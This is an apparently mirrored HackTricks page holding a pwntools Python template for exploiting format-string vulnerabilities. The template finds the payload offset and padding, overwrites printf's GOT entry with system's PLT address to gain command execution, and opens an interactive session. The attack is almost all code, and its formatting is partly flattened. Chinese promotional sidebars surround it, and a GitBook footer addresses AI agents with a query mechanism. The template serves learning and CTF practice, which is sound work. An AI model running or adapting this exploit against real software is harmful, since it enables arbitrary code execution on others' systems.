> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/binary-exploitation/format-strings/format-strings-template.md).

# Format Strings Template

## 格式化字符串模板

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

\`\`\`python from pwn import \* from time import sleep

\###################

#### CONNECTION

\###################

## Define how you want to exploit the binary

LOCAL = True REMOTETTCP = False REMOTESSH = False GDB = False

## Configure vulnerable binary

LOCAL\_BIN = "./tyler" REMOTE\_BIN = "./tyler" #For ssh

## In order to exploit the format string you may need to append/prepend some string to the payload

## configure them here

PREFIX\_PAYLOAD = b"" SUFFIX\_PAYLOAD = b"" NNUM\_ALREADY\_WRITTEN\_BYTES = 0 MAX\_LENTGH = 999999 #Big num if not restricted

print(" ====================== ") print("Selected options:") print(f"PREFIX\_PAYLOAD: {PREFIX\_PAYLOAD}") print(f"SUFFIX\_PAYLOAD: {SUFFIX\_PAYLOAD}") print(f"NNUM\_ALREADY\_WRITTEN\_BYTES: {NNUM\_ALREADY\_WRITTEN\_BYTES}") print(" ====================== ")

def connect\_binary(): global P, ELF\_LOADED, ROP\_LOADED

if LOCAL: P = process(LOCAL\_BIN) # start the vuln binary ELF\_LOADED = ELF(LOCAL\_BIN)# Extract data from binary ROP\_LOADED = ROP(ELF\_LOADED)# Find ROP gadgets

elif REMOTETTCP: P = remote('10.10.10.10',1338) # start the vuln binary ELF\_LOADED = ELF(LOCAL\_BIN)# Extract data from binary ROP\_LOADED = ROP(ELF\_LOADED)# Find ROP gadgets

elif REMOTESSH: ssh\_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) P = ssh\_shell.process(REMOTE\_BIN) # start the vuln binary ELF\_LOADED = ELF(LOCAL\_BIN)# Extract data from binary ROP\_LOADED = ROP(elf)# Find ROP gadgets

\#######################################

#### Get format string configuration

\#######################################

def send\_payload(payload): payload = PREFIX\_PAYLOAD + payload + SUFFIX\_PAYLOAD log.info("payload = %s" % repr(payload)) if len(payload) > MAX\_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") P.sendline(payload) sleep(0.5) return P.recv()

def get\_formatstring\_config(): global P

for offset in range(1,1000): connect\_binary() P.clean()

payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" recieved = send\_payload(payload).strip()

if b"41" in recieved: for padlen in range(0,4): if b"41414141" in recieved: connect\_binary() payload = b" "\*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" recieved = send\_payload(payload).strip() print(recieved) if b"42424242" in recieved: log.info(f"Found offset ({offset}) and padlen ({padlen})") return offset, padlen

else: connect\_binary() payload = b" " + payload recieved = send\_payload(payload).strip()

## In order to exploit a format string you need to find a position where part of your payload

## is being reflected. Then, you will be able to put in the position arbitrary addresses

## and write arbitrary content in those addresses

## Therefore, the function get\_formatstring\_config will find the offset and padd needed to exploit the format string

offset, padlen = get\_formatstring\_config()

## In this template, the GOT of printf (the part of the GOT table that points to where the printf

## function resides) is going to be modified by the address of the system inside the PLT (the

## part of the code that will jump to the system function).

## Therefore, next time the printf function is executed, system will be executed instead with the same

## parameters passed to printf

## In some scenarios you will need to loop1 more time to the vulnerability

## In that cases you need to overwrite a pointer in the .fini\_array for example

## Uncomment the commented code below to gain 1 rexecution extra

\#P\_FINI\_ARRAY = ELF\_LOADED.symbols\["\_\_init\_array\_end"] # .fini\_array address #INIT\_LOOP\_ADDR = 0x8048614 # Address to go back SYSTEM\_PLT = ELF\_LOADED.plt\["system"] P\_GOT = ELF\_LOADED.got\["printf"]

\#log.info(f"Init loop address: {hex(INIT\_LOOP\_ADDR)}") #log.info(f"fini.array address: {hex(P\_FINI\_ARRAY)}") log.info(f"System PLT address: {hex(SYSTEM\_PLT)}") log.info(f"Printf GOT address: {hex(P\_GOT)}")

connect\_binary() if GDB and not REMOTETTCP and not REMOTESSH:

## attach gdb and continue

## You can set breakpoints, for example "break \*main"

gdb.attach(P.pid, "b \*main") #Add more breaks separeted by "\n" sleep(5)

format\_string = FmtStr(execute\_fmt=send\_payload, offset=offset, padlen=padlen, numbwritten=NNUM\_ALREADY\_WRITTEN\_BYTES) #format\_string.write(P\_FINI\_ARRAY, INIT\_LOOP\_ADDR) format\_string.write(P\_GOT, SYSTEM\_PLT) format\_string.execute\_writes()

## Now that printf function is executing system you just need to find a place where you can

## control the parameters passed to printf to execute arbitrary code.

P.interactive()

```
<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/binary-exploitation/format-strings/format-strings-template.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
